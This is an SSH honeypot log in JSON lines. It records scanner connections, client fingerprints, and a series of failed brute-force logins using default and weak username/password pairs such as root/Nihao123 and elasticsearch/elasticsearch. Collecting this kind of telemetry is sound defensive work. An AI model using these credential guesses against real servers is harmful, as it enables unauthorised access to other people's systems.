{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:06:54.621612Z","src_ip":"118.196.26.161","session":"f9515eed35c4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"www-data","password":"www-data","message":"login attempt [www-data/www-data] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:06:55.675636Z","src_ip":"118.196.26.161","session":"f9515eed35c4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:06:56.934526Z","src_ip":"118.196.26.161","session":"f9515eed35c4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.107.60.45","src_port":34702,"dst_ip":"10.17.0.5","dst_port":22,"session":"d3c7881fb061","protocol":"ssh","message":"New connection: 103.107.60.45:34702 (10.17.0.5:22) [session: d3c7881fb061]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:07:03.271852Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:07:03.277518Z","src_ip":"103.107.60.45","session":"d3c7881fb061","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:07:03.490634Z","src_ip":"103.107.60.45","session":"d3c7881fb061","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Nihao123","message":"login attempt [root/Nihao123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:07:04.372761Z","src_ip":"103.107.60.45","session":"d3c7881fb061","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:07:05.589953Z","src_ip":"103.107.60.45","session":"d3c7881fb061","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.159.98.239","src_port":41814,"dst_ip":"159.203.135.109","dst_port":22,"session":"00446016ba2e","protocol":"ssh","message":"New connection: 94.159.98.239:41814 (159.203.135.109:22) [session: 00446016ba2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:07:41.227117Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:07:41.327807Z","src_ip":"94.159.98.239","session":"00446016ba2e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:07:41.332797Z","src_ip":"94.159.98.239","session":"00446016ba2e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"apteka","message":"login attempt [root/apteka] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:07:41.948105Z","src_ip":"94.159.98.239","session":"00446016ba2e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:07:43.275719Z","src_ip":"94.159.98.239","session":"00446016ba2e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"118.196.26.161","src_port":39584,"dst_ip":"10.17.0.5","dst_port":22,"session":"091b675241ac","protocol":"ssh","message":"New connection: 118.196.26.161:39584 (10.17.0.5:22) [session: 091b675241ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:08:10.159076Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:08:10.164320Z","src_ip":"118.196.26.161","session":"091b675241ac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:08:10.408181Z","src_ip":"118.196.26.161","session":"091b675241ac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"123123","message":"login attempt [ftpuser/123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:08:11.414999Z","src_ip":"118.196.26.161","session":"091b675241ac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:08:12.663423Z","src_ip":"118.196.26.161","session":"091b675241ac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.107.60.45","src_port":53536,"dst_ip":"10.17.0.5","dst_port":22,"session":"1672665460be","protocol":"ssh","message":"New connection: 103.107.60.45:53536 (10.17.0.5:22) [session: 1672665460be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:08:34.752357Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:08:34.757600Z","src_ip":"103.107.60.45","session":"1672665460be","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:08:34.972976Z","src_ip":"103.107.60.45","session":"1672665460be","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aa123456.","message":"login attempt [root/aa123456.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:08:35.860601Z","src_ip":"103.107.60.45","session":"1672665460be","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:08:37.078377Z","src_ip":"103.107.60.45","session":"1672665460be","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.122.221.179","src_port":51814,"dst_ip":"10.17.0.5","dst_port":22,"session":"daeb828dd84f","protocol":"ssh","message":"New connection: 103.122.221.179:51814 (10.17.0.5:22) [session: daeb828dd84f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:08:40.001809Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:08:40.009458Z","src_ip":"103.122.221.179","session":"daeb828dd84f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:08:40.255098Z","src_ip":"103.122.221.179","session":"daeb828dd84f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ghjcnjqgfhjkm","message":"login attempt [root/ghjcnjqgfhjkm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:08:40.992050Z","src_ip":"103.122.221.179","session":"daeb828dd84f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:08:42.241802Z","src_ip":"103.122.221.179","session":"daeb828dd84f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.144.214.214","src_port":45425,"dst_ip":"10.17.0.5","dst_port":22,"session":"13b70880a822","protocol":"ssh","message":"New connection: 89.144.214.214:45425 (10.17.0.5:22) [session: 13b70880a822]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:08:53.553714Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:08:53.558387Z","src_ip":"89.144.214.214","session":"13b70880a822","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:08:53.701019Z","src_ip":"89.144.214.214","session":"13b70880a822","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test123!@#","message":"login attempt [test/test123!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:08:54.249719Z","src_ip":"89.144.214.214","session":"13b70880a822","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:08:55.383768Z","src_ip":"89.144.214.214","session":"13b70880a822","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.5.173","src_port":36268,"dst_ip":"10.17.0.5","dst_port":22,"session":"9bf8d0dc3ed2","protocol":"ssh","message":"New connection: 165.154.5.173:36268 (10.17.0.5:22) [session: 9bf8d0dc3ed2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:09:07.806834Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:09:07.812081Z","src_ip":"165.154.5.173","session":"9bf8d0dc3ed2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:09:08.032667Z","src_ip":"165.154.5.173","session":"9bf8d0dc3ed2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.56","src_port":14170,"dst_ip":"159.203.135.109","dst_port":22,"session":"f545d385a03a","protocol":"ssh","message":"New connection: 213.209.159.56:14170 (159.203.135.109:22) [session: f545d385a03a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:09:08.338540Z"}
{"eventid":"cowrie.login.failed","username":"elasticsearch","password":"elasticsearch","message":"login attempt [elasticsearch/elasticsearch] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:09:08.933935Z","src_ip":"165.154.5.173","session":"9bf8d0dc3ed2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:09:10.156670Z","src_ip":"165.154.5.173","session":"9bf8d0dc3ed2","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:09:20.325463Z","src_ip":"213.209.159.56","session":"f545d385a03a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:09:20.404328Z","src_ip":"213.209.159.56","session":"f545d385a03a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"otis","password":"otis","message":"login attempt [otis/otis] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:09:20.803481Z","src_ip":"213.209.159.56","session":"f545d385a03a","protocol":"ssh"}
